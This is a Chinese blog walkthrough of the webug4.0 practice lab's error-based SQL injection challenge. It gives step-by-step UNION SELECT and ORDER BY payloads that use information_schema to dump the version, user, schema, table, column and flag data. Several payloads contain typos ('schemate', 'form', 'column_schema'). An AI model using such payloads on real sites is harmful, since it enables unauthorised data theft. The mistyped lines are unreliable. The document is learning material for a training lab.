webug4.0通关笔记----(第一天:显错注入)

显错注入

开始注入

如果还没有搭建webug靶场环境的,可以参考我写到这个教程进行搭建https://blog.csdn.net/liver100day/article/details/115857058

1.寻找注入点,打开靶场

webug4.0通关笔记----(第一天:显错注入)_第1张图片

判断是否存在注入,在网页导航栏输入'判断是否存在注入点
webug4.0通关笔记----(第一天:显错注入)_第2张图片

发现显示“这里有一个SQL语法错误”,说明此处有显错注入

2.判断注入类型是字符型还是数字型

输入1’ and ‘1’='1,如果正常返回则为字符型,如果返回错误则为数字型
webug4.0通关笔记----(第一天:显错注入)_第3张图片

可以看到页面正常返回了,说明此处是字符型SQL注入

3.爆破数据库基本信息

通过order by进行探测,判断表中列数,构建语句:1' order by 1 %23,因为在这里,#被过滤掉了,所以我们选择使用#的16进制形式来绕过过滤

webug4.0通关笔记----(第一天:显错注入)_第4张图片
猜测列数为1,并未报错
接着进行猜测,构建语句:1' order by 3 %23
webug4.0通关笔记----(第一天:显错注入)_第5张图片
猜测列数为三,结果报错,所以列数为2

爆破数据库版本

Union联合查询:
1.Union操作符用于拼接两个或者多select查询语句
2.Union中的每个查询必须拥有相同的列数,在前面我们已经查询到了数据库的列数为2
构建语句:1' union select 1,version() %23
webug4.0通关笔记----(第一天:显错注入)_第6张图片
爆破出数据库的版本为5.5.35-lubuntu1

爆破数据库用户名

构建语句:1' union select 1,user() %23
webug4.0通关笔记----(第一天:显错注入)_第7张图片
爆破出数据库用户名为:root@localhost

爆破数据库名

构建语句:1' union select 1,database() %23
webug4.0通关笔记----(第一天:显错注入)_第8张图片
爆破得到,数据库的名称为webug

爆破webug数据库中的表名

在这里我们需要使用到mysql中的group_concat函数
函数语法:
group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )
它的作用是将查询到的值在一行中打印出来,更方便我们观看

一般情况下,每个MySQL数据库中都有数据库information,和mysql,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以我们可以使用information来查询到所有的数

不使用group_concat函数进行爆破,构建语句:1' union select 1,schema_name from information_schema.schemata%23
webug4.0通关笔记----(第一天:显错注入)_第9张图片
成功爆破出webug数据库中的所有表名,但是表名并没有进行分割,我们还是不知道具体的表名是什么,看着杂乱

使用group_concat函数进行爆破,构建语句:1' union select 1,group_concat(schema_name) from information_schema.schemate%23
webug4.0通关笔记----(第一天:显错注入)_第10张图片
也成功爆破出webug数据库中的所有表名,但是对表名用逗号进行了隔开,我们可以更好的看清楚

爆破表名

我猜测我想要的数据就在webug这个库里面
构建语句:

1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='webug'%23

webug4.0通关笔记----(第一天:显错注入)_第11张图片
成功爆破出表名

爆破字段名

上面爆破出有一个表的名字为fiag,我们想要的数据就在这里面
构建语句:1' union select 1,group_concat(column_name)form information_schema.columns where column_schema='flag'%23
webug4.0通关笔记----(第一天:显错注入)_第12张图片
成功爆破出字段名

爆破数据

上面已经爆破出字段名了,直接爆破拿到flag字段里面的数据就好
构建语句:1' union select 1,flag from flag%23
webug4.0通关笔记----(第一天:显错注入)_第13张图片
成功爆破出flag中的数据:dfafdasfafdsadfa

接下来再去提交flag
webug4.0通关笔记----(第一天:显错注入)_第14张图片
显示flag正确,说明注入成功
webug4.0通关笔记----(第一天:显错注入)_第15张图片
好了,注入流程到这里就结束了

后言:最近一直在学习,但是学习的东西很多很杂,于是便把自己的学习成果记录下来,便利自己,帮助他人。希望本篇文章能对你有所帮助,有错误的地方,欢迎指出!!!喜欢的话,不要忘记点赞哦!!!

你可能感兴趣的:(学习,漏洞原理与分析,靶场,安全漏洞,sql)